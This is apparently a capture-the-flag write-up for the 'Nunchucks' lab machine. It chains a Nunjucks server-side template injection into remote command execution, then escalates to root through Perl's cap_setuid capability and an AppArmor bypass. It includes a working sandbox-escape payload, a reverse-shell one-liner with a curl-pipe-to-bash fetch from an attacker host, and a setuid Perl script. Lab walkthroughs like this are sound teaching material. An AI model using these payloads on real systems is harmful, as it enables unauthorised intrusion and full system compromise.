The machine hosts a Node.js application vulnerable to Server‑Side Template Injection (SSTI) through the Nunjucks
template engine.
Exploitation provides remote command execution.
Privilege escalation is achieved by abusing a Perl binary with the cap_setuid+ep capability and bypassing
AppArmor restrictions.
Target: nunchucks.htb
Initial vector: Nunjucks SSTI → RCE
Privilege escalation: Perl capabilities + AppArmor bypass
Nmap:
22/tcp ssh 80/tcp http → redirects to HTTPS 443/tcp https (nginx)
Add nunchucks.htb to /etc/hosts.
Directory fuzzing reveals nothing useful.
Virtual host fuzzing:
$ gobuster vhost -u https://nunchucks.htb \ -w subdomains-top1million-5000.txt -k -> score.nunchucks.htb
Add the subdomain and browse it. Wappalyzer identifies:
Node.js / Nunjucks template engine
Testing the email field with template syntax:
{{4+4}}@test.com
-> 8
This confirms SSTI. Use a known Nunjucks sandbox escape:
{{range.constructor("return global.process.mainModule.require('child_process').execSync('id')")()}}
To get a reverse shell, host a payload:
# On attacker $ echo "bash -i >& /dev/tcp/KALI_IP/443 0>&1" > index.html $ python3 -m http.server 80
Send via SSTI:
curl KALI_IP/index.html | bash
A shell is obtained as www-data.
$ script /dev/null -c bash Ctrl+Z $ stty raw -echo; fg $ reset $ export TERM=xterm $ export SHELL=bash
Check capabilities:
$ getcap -r / 2>/dev/null /usr/bin/perl cap_setuid+ep
Perl can set UID to 0, but AppArmor restricts direct execution. Bypass AppArmor by creating a script with a Perl shebang:
$ cat > /tmp/perl_cap_bypass.pl << 'EOF' #!/usr/bin/perl use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash"; EOF
Make it executable:
$ chmod +x /tmp/perl_cap_bypass.pl $ /tmp/perl_cap_bypass.pl
Root shell obtained.
Nunchucks relies on a classic Nunjucks SSTI vulnerability to gain initial RCE.
Privilege escalation is achieved by abusing a Perl binary with cap_setuid+ep and bypassing AppArmor
restrictions using a custom Perl script.
This results in full system compromise.